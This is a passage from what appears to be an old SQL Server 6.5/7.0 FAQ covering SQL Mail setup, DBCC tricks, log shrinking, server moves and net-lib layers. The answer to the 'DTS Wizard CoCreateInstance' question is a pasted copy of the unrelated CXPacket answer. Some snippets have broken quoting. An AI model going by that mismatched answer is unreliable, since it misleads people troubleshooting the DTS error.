complete the setup.

Configure SQL Server Service and SQLExecutive to use new mail account · You
will need to stop the Microsoft SQL Server service 1. Open the Control Panel.
2. Double-click Services. 3. Scroll down until you find Microsoft SQL Server,
select it, and click the stop button. 4. The service status should change to
stopped. 5. Double-click on the Microsoft SQL Server service to bring up its
properties dialog box. 6. At the bottom of the dialog is the account by which
Microsoft SQL Server will use to startup. Change this to use the
SQLExecutiveCmdExec account. Be sure to enter the password correctly here or
Microsoft SQL Server will not start up. 7. Close this dialog by clicking the
"OK" button. 8. Start the service by clicking the start button. 9. The
service should start up successfully. If it does not start check to make sure
the password you just entered matches the one entered in the User Manager for
Domains. 10. Scroll down until you find SQLExecutive, select it, and click
the stop button. 11. The service status should change to stopped. 12.
Double-click on the SQLExecutive service to bring up its properties dialog
box. 13. At the bottom of the dialog is the account by which Microsoft SQL
Server will use to startup. Change this to use the SQLExecutiveCmdExec
account. Be sure to enter the password correctly here or Microsoft SQL Server
will not start up. 14. Close this dialog by clicking the "OK" button. 15.
Start the service by clicking the start button. 16. The service should start
up successfully. If it does not start check to make sure the password you
just entered matches the one entered in the User Manager for Domains.

Configure SQL Server Setup Options 1. Click on the "Start" button 2. Programs
3. Microsoft SQL Server 6.5 4. SQL Setup 5. The "Welcome" dialog will appear.
Click the "Continue" button. 6. The "SQL Server Already Installed" dialog
will appear. Click the "Continue" button. 7. Check the radio button next to
"Set Server Options". 8. Click the "Continue" button. 9. Check the box next
to "Autostart SQL Mail". 10. Click the "Mail Profile" button, which is the
last button in the center of the dialog box. 11. In the dialog box that
appears, enter "SQLExecutiveCmdExec". 12. Click the "OK" button. 13. Click
"Change Options" button. 14. The "Exchange Login Configuration" dialog box
may appear again. If it does, simply click the "Continue" button. 15. A
dialog box stating that the options have been successfully set should appear.
Click the "Exit to Windows NT" button.

You will need to stop and restart SQL Server 1. Click on the "Start" button
2. Programs 3. Microsoft SQL Server 6.5 4. SQL Service Manager 5. A dialog
box with a traffic light will appear. 6. Double click the Red light to stop
the service. Watch the status bar at the bottom of the dialog box for the
message "The service is stopped" 7. Double click the Green light to start the
service. Watch the status bar at the bottom of the dialog box for the message
"The service is running" 8. Close the dialog box.

Set up Internet Mail ( MAPI Setup )
· You should have at least Internet Explorer installed on your server.
1. Double click the "Internet Explorer" icon on your desktop to start IE3.
2. Select "Go" from the menu.
3. Choose the "Read Mail" option.
4. The "Browse for Folder" dialog box will appear.
5. You may either choose a folder or use the default.
6. Click on the "OK" button.
7. A new dialog "Wizard" will appear.
8. Click on the "Next" button.
9. In the name field, enter "SQLExecutiveCmdExec".
10. In the Email Address field enter the email address, e.g. user@domain.com.
11. Click on the "Next" button.
12. In the "Incoming mail (POP3) server" field, enter the name of the POP3
server.
13. In the "Outgoing mail (SMTP) server" field, enter the name of the SMTP
server.
14. Click on the "Next" button.
15. In the "Account Name" field, enter the email account name, e.g. userid
16. In the "Password" field, enter the email account name's password.
17. Click on the "Next" button.
18. You will be asked for the connection type, choose "I use a LAN connection"
19. Click on the "Next" button.
20. Click on the "Finish" button.
21. The MAPI mail client will appear. You may close the MAPI mail client
application.

Start SQL Enterprise Manager. See if SQL Mail is working by expanding your server and seeing if the SQL Mail icon turns green. · If it turns red, something went wrong; green means it is working properly. · It may take a little time for this icon to turn any color, so wait for a little bit before doing anything else. · If everything seems to be working properly, open the SQL Tool and type the following:

1. xp_sendmail 'user@domain.com',@message='This is a test message.' Where user@domain.com is an existing internet mail address that can receive messages.
2. Execute the statement by pressing Ctrl-E or clicking the green GO button in the Query
Tool. You should receive a message in the result window stating "Mail Sent."

Hopefully the configuration process went well and Microsoft SQL Server is now capable of processing mail. There are numerous stored procedures available to process inbound and outbound mail. See the SQL reference manuals for more
information on these.


Q. How can I transfer DTS packages from one SQL 7 server to another?

A. Three choices :-

1. Use the DTS transfer wizard. Set msdb as the source and destination databases and "select * from sysdtspackages" on the source.

2. Save each DTS package as a file. Copy the .dts files created to the target machine. From EM, right click Data Transformation Packages and choose all tasks Open Package for each package.

3. Open them in the package designer - choose save as, and save them to the other server.

Option 1 is the quickest for lots of packages


Q. As a user of Digital/Compaq Alpha technology how does MS dropping support affect SQL Server?

A. The complete ramifications of this are not yet known, but :-

1. Support for all currently released SQL products/service-packs continues and will not be affected.

2. New service-packs for 6.5 and 7.0 will continue to be produced for Alpha for the time-being.

3. No future new versions of SQL Server will be released on Alpha - i.e. SQL 2000 (Shiloh) will not appear for the Alpha chip.

===

v1.02 2000.02.01
Applies to SQL Server versions : 4.x, 6.x, 7.0
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. How can I check with SQL whether a table is already there or not?

A. Two methods :-

1. If object_id('tbl_name') is not null
<command>

2. if exists (select * from sysobjects where id = object_id('tbl_name') and sysstat & 0xf = 4)
<command>


Q. What does a wait type of CXPacket mean?

A. You will only get this with SQL 7 because it only happens with parallel queries. It means that one thread of the query is is waiting for a message packet from another, and the one it is waiting on is either blocked by a traditional cause or has hit some sort of parallelism bug.

If the query doesn't complete then make sure SP1 is applied as there are several parallel query fixes in SP1. If it still doesn't fix it then you have run into an unfixed bug and will need to contact MS PSS and raise a bug report. You should be able to work-around the problem by adding MAXDOP(1) to the query which will prevent the query being parallelised.


Why do I get an error - 'DTS Wizard Error - CoCreateInstance Class not Registered'?

Q. Why do I get an error - 'DTS Wizard Error - CoCreateInstance Class not Registered'?

A. You will only get this with SQL 7 because it only happens with parallel queries. It means that one thread of the query is is waiting for a message packet from another, and the one it is waiting on is either blocked by a traditional cause or has hit some sort of parallelism bug.

If the query doesn't complete then make sure SP1 is applied as there are several parallel query fixes in SP1. If it still doesn't fix it then you have run into an unfixed bug and will need to contact MS PSS and raise a bug report. You should be able to work-around the problem by adding MAXDOP(1) to the query which will prevent the query being parallelised.


Q. How can I insert the output of a dbcc command into a SQL Server table?

A. Some DBCC commands support this directly via the "insert into exec" type format, others don't. Examples of both are given.

A dbcc command that works "normally" is useroptions - this is an example from the books-online :-

drop table #tb_setopts
go
CREATE TABLE #tb_setopts (SetOptName varchar(35) NOT NULL ,SetOptValue varchar(35) null)
INSERT INTO #tb_setopts (SetOptName,SetOptValue) EXEC('dbcc useroptions')
select * from #tb_setopts

Another is dbcc sqlperf :-

DROP TABLE #TempForLogSpace
go
CREATE TABLE #TempForLogSpace
(
DBName varchar(32),
LogSize real,
LogSpaceUsed real,
Status int
)
SELECT @sql_command = 'dbcc sqlperf (logspace)'
INSERT INTO #TempForLogSpace EXEC (@sql_command)

Another is dbcc inputbuffer :-

DROP TABLE #dbc
go
create table #dbc(c1 varchar(15), c2 int, c3 varchar(255))

insert #dbc EXEC('dbcc inputbuffer(7)')

One that doesn't is dbcc checkdb. To make this work you'll need to use xp_cmdshell and ISQL as follows :-

-- Note that all quotes are single quotes except the ones on the -Q option, which are double quotes
DROP TABLE #maint
go
DECLARE @SQLSTR varchar(255)
SELECT @SQLSTR = 'ISQL -E -Q"dbcc checkdb(master)"'
CREATE TABLE #maint (Results varchar(255) NOT NULL)
INSERT INTO #maint(Results) EXEC('master..xp_cmdshell ''ISQL -E -Q"dbcc checkdb(master)"''')
select * from #maint


Q. Why do I get weird messages using SQL 7's MMC on Windows 2000 RC1?

A. This is caused by bugs in the version of IE5 shipped with RC1. They are fixed in the RC2 build - install that when available.


What does a wait type of CXPacket or Exchange mean?

Q. What does a wait type of CXPacket or Exchange mean?

A. You will only get this with SQL 7 because it only happens with parallel queries. It means that one thread of the query is waiting for a message packet from another, and the one it is waiting on is either blocked by a traditional cause or has hit some sort of parallelism bug.

CXPacket means it is waiting on a data packet - i.e. the results of an internal query is being passed. Exchange means that it is waiting on a control packet - i.e. waiting for a child/sibling process to tell you that it is finished.

If the query doesn't complete then make sure SP1 is applied as there are several parallel query fixes in SP1. If it still doesn't fix it then you have run into an unfixed bug and will need to contact Microsoft PSS and raise a bug report. You should be able to work-around the problem by adding MAXDOP(1) to the query which will prevent the query being parallelised.


Q. When would I use dbcc gaminit in SQL Server?

A. This only applies to SQL 6.5 and below.

This can sometimes be useful when you have a very large and fragmented table - typically you will see performance degrade over time. SQL by default tries to fit new rows (inserted via INSERT or BCP) into existing extents that are not full. The information on which extents are full is kept in the gam structure (global allocation map) which is populated dynamically in memory and is cleared every time SQL is started. It is sometimes useful to pre-populate this table fully.

This can be done via dbcc gaminit(<dbid>) which can be put in a startup stored-proc.

Alternatively (or as well as) you could set trace flag 1140. This makes SQL put all new rows that won't fit in the current extent into a new extent rather than searching for old ones. This can lead to wasted space though. See Q174085 for more information.

Re-organising indices with a decent fill-factor when possible will also alleviate the situation.


Q. I've overallocated memory for SQL Server and now it won't start - what can I do?

A. To recover from this :-

1. Stop SQL Server and SQL Executive. Also make sure that SQL Enterprise Manager isn't running.
2. Go to the <sql>\binn directory and type "sqlservr -c -f" - this will start SQL in single-user mode with a minimum config.
3. Ignore the text messages in this window - but wait for them to finish appearing (shouldn't take more than 10-20 seconds)
4. SQL Server is now started.
5. Go to another window and start ISQL/W and connect locally with the sa userid.
6. In ISQL/W issue the following commands :-

sp_configure memory, <new memory value>
go
reconfigure
go

7. Now go back to the window SQL is running in and type "shutdown" and enter
8. SQL Server should shut down. If it doesn't then hit <ctrl-c> to shut it down.
9. Now you should be able to start SQL normally and connect.


Q. I have filled the model database's log and now SQL won't start with a 1105 error - what can I do?

A. This is because tempdb gets created with model's attributes at SQL startup. To overcome this :-

1. Start SQL Server with the -T3607 trace flag. See the books online for how to do this.

2. Login to SQL Server as sa with ISQL or ISQLW.

3. Do a DUMP TRANSACTION model WITH NO_LOG

4. Stop SQL Server

5. Remove the trace-flag

You should now be able to restart SQL again.


Q. I'm installing SQL Server and am getting a problem with ODBC

A. Check to see what application/service has the odbc files open.

1. Any SQL application - SQLMANGR.EXE, SQL EM etc. will hold them open.

2. Other applications/services like IIS, Backup Exec, SNMP service, Systems Management tools, Compaq Insight Manager, Microsoft Netshow Program server, Terminal Server License Server etc. could all have them open.

3. If you can't figure out what has them open then download a free tool called NTHANDLE from www.sysinternals.com - this will show you what has the files open.

4. If nothing has the files open then it could be that the odbc files on your hard-drive have been marked as read-only. Check this with file manager, explorer or the attrib command. Take the read-only flag off and try again.


Why do I only get 255 characters back in a column in Query Analyzer?

Q. Why do I only get 255 characters back in a column in Query Analyzer?

A. The 255 limitation is a Query Analyzer option - you can change it - or use OSQL.EXE which won't show this limitation.

Go to Query/Current Connection Options/Advanced and change max chars per column to whatever maximum you desire.


Q. How can I find duplicate rows in SQL Server?

A. Issue the following query substituting tablename and column list for those columns that need checking for duplicates.

SELECT
<list of all columns>
FROM
tablename
GROUP BY
<list of all columns>
HAVING
count(*) > 1


Q. How can I get a count for all tables in a database?

A. sp_Msforeachtable `select “?”, count (*) from ?’


Q. Why do I get an error "CANNOT GENERATE SSPI CONTEXT"?

A. This is an issue with a SQL 7.x client not being able to check the NT credentials in use. It always calls the SSPI interface to check this.

Make sure that if you're running a Win9x client that Microsoft Client Network is installed. Without this checking the NT credentials may not be possible.

If you're running NT workstation then check that the netlogon service is started.


Q. How can I see what line a stored-procedure is on?

A. With SQL 6.5 you can use the following method

dbcc traceon(3604)
dbcc pss (suid, spid, 0)

Look in the output for a pline parameter - this shows the current line of the stored-procedure.


Q. How can I list all available SQL Servers in my application?

A. Two methods :-

1. The ISQL and OSQL commands have a -L option to list servers. This can then be run from xp_cmdshell.

Exec master..xp_cmdshell 'ISQL -L'
Exec master..xp_cmdshell 'OSQL -L'

2. Use SQL-DMO. The method/api is ListAvailableSQLServers. This returns a NameList object enumerating network-visible SQL Servers.

Details on DMO are provided in the Books-Online and/or a separate help file. These are installed as part of any SQL Server install.

A detailed example is below :-

To enumerate all network-visible SQL servers using SQL-DMO objects, create a new standard EXE project and add a reference to sqldmo.rll. This file can be found in \Binn\Resources\1033\sqldmo.rll under the SqlServer70
directory.

Now add this code and declaration in your form's code:

Private Function GetAllSqlServerCollection(colSqlServers As Collection)
As
Boolean
Dim intIndex As Integer
Dim oApplication As SQLDMO.Application
Dim oNameList As SQLDMO.NameList

Set oApplication = New Application
With oApplication
Set oNameList = .ListAvailableSQLServers
With oNameList
For intIndex = 1 To .Count
colSqlServers.Add (oNameList.Item(intIndex))
Next
End With
End With
Set oApplication = Nothing
GetAllSqlServerCollection = True
End Function

This code quickly fetches a list of SQL servers and can be put inside a combo box's drop-down event to always get a refreshed list of SQL servers on your form.


Q. How can I access Exchange stores from SQL Server?

A. Several methods :-

1. Purchase an ODBC/OLE-DB driver from Intersolv.

2. Set-up a connection to the *.?DB files from Access 2000. Then make this Access 2000 database a linked-server from SQL Server. (Access 2000's JET drivers are capable of reading the Exchange files).

3. Wait for Platinum/Exchange 6/Exchange 2000 (or whatever it's called today) to be released. This will ship with an OLE-DB driver that can be used directly from SQL Server.

4. Use ADSI as a linked server. You must have ADSI 2.5 installed.

sp_addlinkedserver 'ADSI', 'Active Directory Service Interfaces', 'ADSDSOObject', 'adsdatasource'
go
select * from openquery(adsi, 'select * from ''LDAP://<<ExchangeServerName>>"')
go


Q. Why does ISQL/W gpf when I move the mouse pointer with an Intellimouse.

A. A bug in the Intellimouse drivers. Try applying the latest version of the drivers - if that still fails then you'll need to use ordinary mouse drivers.


Q. How can I tell if a service is running from SQL?

A. A couple of methods :-

1. Write your own XP to call the NT service API's.

2. Capture and test the NET START output via xp_cmdshell. Example below tests for SQL Agent -

CREATE TABLE #List(Description Char(255))

INSERT INTO #List
EXEC XP_CMDSHELL 'NET START'

IF EXISTS
(SELECT * FROM #List WHERE Description LIKE '%SQLServerAgent%')


Q. What's happened to SQL_PRESERVE_CURSORS in SQL 7.0?

A. It was broken/changed from 6.5 in 7.0.

SQL 6.5 - SQL_PRESERVE_CURSORS apply to both COMMIT_BEHAVIOR and ROLLBACK_BEHAVIOR

SQL 7.0 - SQL_PRESERVE_CURSORS only apply to COMMIT_BEHAVIOR

SQL 7.0 SP1 - As 6.5

SQL 7.0 SP1 with -T7525 traceflag - As per 7.0

Look up:

See http://support.microsoft.com/support/kb/articles/Q199/2/94.ASP for more info


Why does only one cpu get used with my SQL 6.5 system for an extremely complex/long running query?

A. This is because under SQL 6.5 only a single cpu can be used for a query. The only time another cpu is used is if read-ahead is being done and this can then use another cpu.

Under 7.0 all cpu's can potentially be used for a single query if that query can be parallelised.


Q. How can I get on a beta program for new versions of SQL/OLAP/MSEQ etc?

A. For any beta of Microsoft software you can e-mail betareq@microsoft.com telling them why you want to be on the program.

If you have Microsoft sales or support contacts (e.g. a TAM for Premier Support, then approach them).

You can subscribe to Technet Plus which includes many of the beta's - these CD's are shipped/refreshed monthly.

If you subscribe to MSDN Universal then some beta's are shipped as part of this subscription.


Q. How can I do a case-sensitive comparison on a SQL Server installed with a case-insensitive sort-order?

A. You can do this by converting the values to binary.

Assuming that you want to check a 4 character field to see if it has 'teST' in it (and you don't want to return values of 'test', 'TEST' etc.)

select * from <tbl>
where convert(varbinary(4), <col>) = convert (varbinary(4), 'teST')

To compare between tables

select * from <tbl1>, <tbl2>
where <tbl1.col> = <tbl2.col>
and convert(varbinary(4), <tbl1.col>) = convert (varbinary(4), <tbl2.col>)

The reason for having the two comparisons here is so that any indices will still be used. They won't be used just with a comparison that uses convert.


Q. How can I configure SQL Server to listen on another net-lib? How can I tell what net-libs are being used?

A. For SQL 6.5 and earlier run SQL setup and choose 'Configure Server' and then 'Network Support'. This will tell you what net-libs are installed and allows you to configure new ones.

For SQL 7.0 and above there is a "Server Network Utility" installed in the SQL Server program group that performs the same function.

For all versions of SQL Server you can check the SQL errorlog for "listening on" lines which tell you what net-libs are being used.


Q. Why do I get an error message "Not enough server storage is available to process this request"?

A. This is caused by a mis-matched set of NT networking layer files. It is usually caused by installing new network protocols from the original NT media to a machine with NT service packs already installed. Re-installing the latest/installed NT service pack will fix the problem.


Q. Why won't my log shrink in SQL 7?

A. This is because the log file is internally divided into smaller virtual logs and shrinking will only happen when the active part of the log is at the beginning of your log file. You can use the dbcc loginfo(dbname) command to see where the active part of the transaction log is - any logs marked with a Status of 2 are active.

The output below shows that the active virtual logfile is the last in the physical file, therefore no real shrinkage is possible.

FileId FileSize StartOffset FSeqNo Status Parity CreateTime
------ -------- ----------- ------ ------ ------ -----------------------
2 13041664 8192 0 0 0 1999-03-16 10:27:24.917
2 13041664 13049856 0 0 0 1999-03-16 10:25:56.730
2 13041664 26091520 0 0 0 1999-03-16 10:25:56.730
2 13041664 39133184 0 0 0 1999-03-16 10:25:56.730
2 13041664 52174848 0 0 0 1999-03-16 10:25:56.730
2 13041664 65216512 0 0 0 1999-03-16 10:25:56.730
2 13041664 78258176 0 0 0 1999-03-16 10:25:56.730
2 13557760 91299840 5 2 64 1999-04-06 12:32:27.833

In order to be able to shrink the log :-

1. Backup or truncate the log to make sure earlier Virtual Log Files are reusable (check their status)
2. Execute dummy transactions (in a loop) against a test table until the active virtual log moves back to the start of the list.
3. Execute DBCC SHRINKDATABASE or DBCC SHRINKFILE to mark a shrinkpoint. (The actual shrink is performed asynchronously normally)
4. Issue a backup or truncate log command to force the shrinkage to happen immediately.

If it is at the end of the logfile you could write a small while loop that does some inserts in a test table to move the active part to the beginning of the real file. Then the shrinkfile command should work ok - note that shrinkfile works asynchronously.

As a last resort you can always checkpoint the database, shutdown SQL Server and delete the physical logfile. When SQL restarts it will create a new 2Mb log device. Note that this is unsupported by Microsoft and whilst it has always worked for the author, others have reported problems doing this.


Q. How can I use Lotus Notes for SQL Mail?

A. Full credit for this entry goes to Ted Malone.

You have 2 options for Notes and SQLmail interoperability - without using SMTP, but we'll assume you want to go to Notes directly.

1) Use the standard NOTES client on the server
2) Use Microsoft Outlook and install the Notes Service

For option 1 :-

1) Create a mapping between the MSSQLSERVER and SQLSERVERAGENT NT account(s) and a Notes mailbox
2) Log on to the SQL Server as the MSSQLSERVER account (Note you cannot use LocalSystem)
3) Install the Notes MAPI Service
4) Install the Notes Client (Make sure you install Notes MAPI first, or it WILL NOT WORK!)
5) Install the latest MAPI dlls (MAPI32.DLL and MAPI.DLL in <NT>\SYSTEM32)
6) Launch Notes Client and Configure your Mailbox
7) Take note of the Notes MAPI profile name (Should be the same as your user, but you never know)
8) REBOOT the server (Weird, but you have to do it)
9) Log in as same account from above step 2
10) Launch SQL EM\
11) Configure SQLMail or SQLagentmail as appropriate
12) Log Off

For option 2 the steps are the same except step 3 is not needed and the mapi dll's (step 5) will already be there.


Q. Why do I get invalid rows returned containing hyphens when my where clause doesn't specify them?

A. This only happens with Unicode columns because Unicode sorts/compares are based on the Windows standard which effectively ignores the hyphen character.

as an example

create table t (cocode nvarchar(6))
go

insert into t values ('AXB')
insert into t values ('AXC')
insert into t values ('A-Y')
go

select * from t where
(cocode > 'A-X') AND (cocode < 'A-Z')

produces:

cocode
------
AXB
AXC
A-Y

(3 row(s) affected)

If the nvarchar(6) is changed to varchar(6) then the expected result set is produced (only row A-Y appears).


Q. Why is the week number returned by SQL Server wrong?

A. e.g. select datepart(wk,'19990323') returns 13 when it should be 12.

This is because SQL Server starts counting weeks from Jan 1. Week 1 = Jan 1.

The ISO standard is that week 1 is the first week with 4 days in it.

The following code can be used (@date is the datetime) to return the ISO week

declare @ISOweek integer
select @ISOweek= datepart(wk,@date)+1-datepart(wk,'Jan 4,'+CAST(datepart(yy,@date) as CHAR(4)))
if (@ISOweek=0)
select @ISOweek=datepart(wk, 'Dec '+ CAST(24+datepart(day,@date) as
CHAR(2))+','+CAST(datepart(yy,@date)-1 as CHAR(4)))+1


Q. How can I get something added to the SQL Server wishlist?

A. E-mail sqlwish@microsoft.com.


Q. In SQL 6.5 why does passing a 256 byte character string to an SP expecting a TEXT field produce a NULL when checked?

A. See below for sample query.

The answer is that even though your SP takes a TEXT param, SQL has no concept of a TEXT variable or constant. It treats your constant as a char and because chars can only be 255 characters, the 256 becomes 0. You should have the same problem with 512 chars, 768 chars etc. The same problem would probably occur with SQL 7.0 and an 8001 length char.

--------

if ('914468 919215 1013036 1067140 1106909 1119345 591395
591426 591477 591491 591501 591528 591534 594829 594958
595032 595052 595065 595107 595191 595248 595343 609320
609482 611572 635771 639586 649072 653820 678868 702034
716129 797340 810128 859268 1013036' is null) print 'data
is null!'

create proc myproc
@stream text
as

if (@stream is null) print 'data is null'

go

exec myproc <place a 256 character string here


Q. How can I clear SQL Server's procedure cache?

A. With SQL 6.5 and below the only way is to re-start SQL Server.

With SQL 7.0 there is an undocumented and unsupported command - DBCC FREEPROCCACHE.


Q. How can I turn an IP address held as a string to the four separate integers?

A. Assuming that it is held as a char/varchar column called ip in a table called IpAddress, then the following code fragment will work.

select

cast(substring(ip, 1, charindex('.', ip) - 1) as int) AS Octet1,

cast(substring(ip, charindex('.', ip) + 1,charindex('.', ip, charindex('.', ip) + 1) - charindex('.', ip) - 1) as int) as Octet2,

cast(reverse(substring(reverse(ip), charindex('.', reverse(ip)) + 1, charindex('.', reverse(ip), charindex('.', reverse(ip)) + 1) - charindex('.', reverse(ip)) - 1)) as int) AS Octet3,

cast(reverse(substring(reverse(ip), 1, charindex('.', reverse(ip)) - 1)) as int) as Octet4

from IpAddress

(Code fragment courtesy of Umachandar Jayachandran)


Q. How can I re-install just the MMC for SQL Server?

A. On the SQL 7 CD run x86\others\instmmc.exe


Q. I need to move SQL Server to a new NT server - what are my options?

A. There are several options :-

Option 1 : NT Copy
-------------------------

1. Install SQL Server on the New Server in the same install path and make sure the data location is also in the same directory as the Old Server. (If you can't make the path the same then you'll have to manually change device names - see movedevice.txt faq entry)
2. Stop the New and the Old SQL Servers
3. Copy all the .dat files from Old Server to the New Server into the same Data folder. This includes all the dat files - master.dat, msdb_data.dat, msdb_log.dat, and all your user databases dat files. The system databases will all be overwritten.
4. Start the New SQL Server
5. Connect using isql_w and login to the SQL Server as "sa"
6. Run the below:
sp_dropserver old_server_name
sp_addserver new_server_name, local
(see changeservername.txt for more details and what to do with SQL 7)
7. This will move the databases fine, but you might have problems with your SQL Server logins. Standard logins will work ok, but NT integrated logins will need to be reconfigured.
- Start SQL Security Manager and do the following:
- Revoke the local/domain groups and local/domain users from the New
SQL Server.
- Then add all the local groups and local users using NT User manager
on the New SQL Server machine.
- Then Grant the local groups and local users you just created above
on the New Server using SQL Server Security Manager.
- Then Grant the domain users/groups access to SQL Server

Option 2. Transfer Manager
-----------
1. Install SQL Server on the new server. Create all databases as needed.
2. Transfer from source to target server using transfer manager.

Option 3. Dump/Load
------------
1. Install SQL Server on the new server. Create all databases as needed. They must have segments in the same order for SQL 6.5 and below, so use sp_help_revdatabase on the source server to create a script to be run on the target.
2. Dump and restore the databases across. Could either be via the network or using a tape.

Option 4. Detach/Attach (SQL 7.0 only)
------------
As per option 3, but this time use sp_detach_db and sp_attach_db stored procedures. See books-online for details.


Q. I'm getting an error message - "Cannot Load DLL 'SDI' Reason 126 ( The specified Module Cannot be found)" when doing a stored-procedure debug on SQL Server. Or breakpoints just don't fire.

A. With SQL 6.5/VC5/VB5 copy the sdi.dll file from your VB/VC/VS enterprise CD into the <sql>\binn directory.

For SQL 7.0 get the files from the SQL Server 7.0 CD \x86\other\sdi.

VB 6.0 copy SDI60.DLL into the <sql>\BINN directory
VC 6.0 copy SDI.DLL into the <sql>\BINN directory
VI 6.0 copy MSSDI98.DLL into the <sql>\BINN directory

(You can't debug SQL 7 with VB5/VC5)


Q. Where can I get more info on the spt_values table?

A. This is an internal look-up table used by lots of different bits of SQL Server. It is undocumented as it is for Microsoft internal use, but there were some good articles on it for SQL 6.5 and below in SQL Professional - www.pinpub.com. If you subscribe you can get back-issues, download articles etc.

It is used to look up the 'names' for status bit info, like when you say sp_dboption.. each bit in sysdatabases.status means something, but to translate the bit into English, the spt_values is used.

If you do sp_helptext on a few system stored-procedures you will see how it is used. e.g. sp_helpdb, sp_lock and sp_helprotect.


Q. Where can I get a diagram of the SQL 7 system tables?

A. It was shipped with September 1999 MSDN pack.

There is also an image of it you can print at
http://www.swynk.com/friends/hotek/articles/ss70_schema.asp

You can also get it from www.bmc.com/products/sqlserver


Q. SQL Server hangs and becomes unresponsive - what can I do?

A. Not an easy question, but here's a checklist that you can run through. It assumes that NT itself responds - if it doesn't then SQL Server isn't the problem, and you should see bluescreen.txt in the faq for more information on this condition.

When it "locks up" can you connect at all to SQL Server? Try connecting locally on the server using ISQL.EXE - ISQL -Usa -P<pwd> and see if it connects. This doesn't run any stored-procedures when it connects so any blocking going on (say in tempdb) won't affect it.

If you can connect what does a select * from sysprocesses and sp_lock show? Look for blocked spids or unusual wait-types.

If you can't connect to SQL Server are you able to make a network drive connection to the NT server itself? Are you able to ping it's IP address?

Are there any errors in the SQL errorlog?

Are there any errors in the NT system/application event logs?

Do you have SMP=-1 and/or priority boost=1 set in sp_configure? If you do then SQL queries can monopolize your system at the expense of NT/network drivers. This can cause spasmodic lock-ups. Set SMP and Priority Boost to 0 (the default).

What does task manager/performance monitor show SQL Server doing? Is it using 100% cpu?

If you can't get to the bottom of the problem then you need to call Microsoft PSS (see MSPSS.TXT in the FAQ for more info) and give them details of the problem and the results of the above tests.

In the mean-time if you need to stop/start SQL Server quickly then use the following (as normal service shutdown commands probably won't work - try them first anyway).

You can kill SQL Server with "KILL sqlservr.exe". The KILL command is in the NT resource kit. It can then be started with NET START MSSQLSERVER. ONLY do this if SQL Server does not respond to a normal shutdown or NET STOP MSSQLSERVER command. This will at least stop you from having to reboot NT.

===

v1.02 2000.02.01
Applies to SQL Server versions : All
Related FAQ articles : n/a
Related Microsoft Kb articles : n/a
Other related information : n/a


Q. I'm having trouble with SQL Server unattended install, what could be wrong?

A. Check install.txt for generic install problems. Then check here for unattended specific stuff.

1. Check MS's article on how to amend the unattended install files at :-
http://support.microsoft.com/support/kb/articles/Q233/3/12.ASP

2. If you get an error "Configure SQLServer Agent / The server service is not started" installing MSDE on NT with the standard unattend.iss response file. Change AutoStart from 61455 to 255 in the unattend.iss file.


Q. How can I change the default location for database files that SQL creates?

A. Change/add the following registry keys :-

KEY: HKLM\Software\Microsoft\MSSQLServer\MSSQLServer
VALUE: DefaultData
VALUE: DefaultLog

Just put in a directory name (no trailing backslash) for these.

This works only for databases that you create with the CREATE DATABASE statement, not for databases created from Enterprise Manager.

(Answer courtesy of Kalen Delaney)


Q. How can I tell if a column for a table already exists?

A. There are two ways (with SQL 7) :-

IF EXISTS(SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<tbl>' AND COLUMN_NAME = '<col>')

or

if columnproperty (object_id('<tbl>'), '<col>', 'AllowsNull') IS NOT NULL


Q. How can I programmatically create a DSN?

A. Use the SQLConfigDataSource command. This is documented in the ODBC docs. (For SQL 7.0 this is in the BOL)


Q. What is the dllhost.exe process on my machine that seems to use a lot of CPU?

A. DLLHOST.EXE acts as a host to execute any COM DLL outside a process address space. Microsoft KB article Q198891 has more details.

With SQL Server this may be used for a linked-server/OLE-DB type connection to another machine or if you are
invoking a COM object out-of-process using the sp_OAcreate stored-procedures.


Q. What is the maximum number of rows in a SQL table? What other size limitations are there?

A. There is no maximum number. You can keep adding rows until the database runs out of space. As far as other maximums go :-

SQL 6.5 SQL 7.0
Database size 1 TB 1,048,516 TB
File size 32 GB 32 TB
Files per database 32 32768


Q. Are SQL Server userid's and passwords passed in clear on the network?

A. If you use multi-protocol net-lib with encryption then SQL standard security userids/passwords are encrypted along with the data.

When using an NT userid/trusted connection then passwords are not passed at all - the sids are used as in all NT credential checks.

If you are using SQL 7.0 client drivers talking to a 7.0 server then the SQL standard security userid/password is encrypted regardless of net-lib.

In any other case then the SQL standard security userid/password is sent in clear.


Q. When I change a table definition it often invalidates any views on that table. How can I fix this without re-creating the view?

A. Just like sp_recompile works for stored-procedures there is a way (with 7.0 and above anyway) to do this for views :-

sp_refreshview <viewname>

It is trivial to write a cursor round sysobjects and then run this automatically via EXEC (..) to refresh all views in a database.


Q. How can I script my database schema?

A. Fire up SQL Enterprise Manager. Right-click on the database you want to script. Choose All Tasks. Choose Generate SQL Scripts. You will then choose which objects (or all of them) you want to script from there.


Q. How does a client talk to SQL Server? What is a net-lib? What network protocols are used? What net-libs support NT authentication/encryption?

A. There are good descriptions in the SQL Server portion of the Back-Office resource kits about how this all hangs together. This FAQ article will attempt to bring all the salient points together. It covers SQL 7.0 and earlier.

Client to Server communication works in a layered fashion. Each layer 'talks' to it's neighboring layers in a standard fashion. I have given these layers arbitrary numbers - these numbers in no way correspond to the layer numbers in the OSI model. The only time that layers can be bypassed are :-

(a) If a client application directly accesses the layer 3 low-level api interface it can bypass layer 2.

(b) If shared-memory or a local named-pipe (".\pipe\sql\query") is used then layers 5 and 6 are bypassed.

(c) BCP and DTC do their own TDS formatting so bypass layer 3.

At the transport protocol layer this conversation goes between the client machine and the server machine (and back again). For all other layers the conversation is done locally, "in-memory" between the various dll's involved.

The layers are listed below :-

1. Client App - written in VB, C, Delphi etc.

2. Client "High-Level" Data Access API. This level is optional - it is possible for the application to directly call the layer 3 interfaces. However these interfaces generally need a lot of lines of client code/API calls to achieve the business requirement. Hence there are higher-level api's that call these lower level ones - higher-level api's need less client code/API calls to achieve the same result. Examples of these API's are ADO, RDO, DAO, Embedded SQL and VBSQL.

3. Client DB Interface (OLE-DB, ODBC, DB-Library). Note that not all client languages can call this layer directly - e.g. VB cannot call OLE-DB directly as VB lacks the necessary memory address pointer support.

3. Client TDS formatter. All communication to SQL Server has to be in TDS (Tabular Data Stream) format. See tds.txt in the faq for more information.

4. Client Net-Lib. Shared Memory(local 95/98 only), Multi Protocol, Named Pipes, TCP/IP Sockets, Novell IPX/SPX, AppleTalk(NT only), Banyan VINES

5. Client Transport Protocol. NW Link IPX/SPX, NetBEUI, TCP/IP, AppleTalk, Banyan VINES

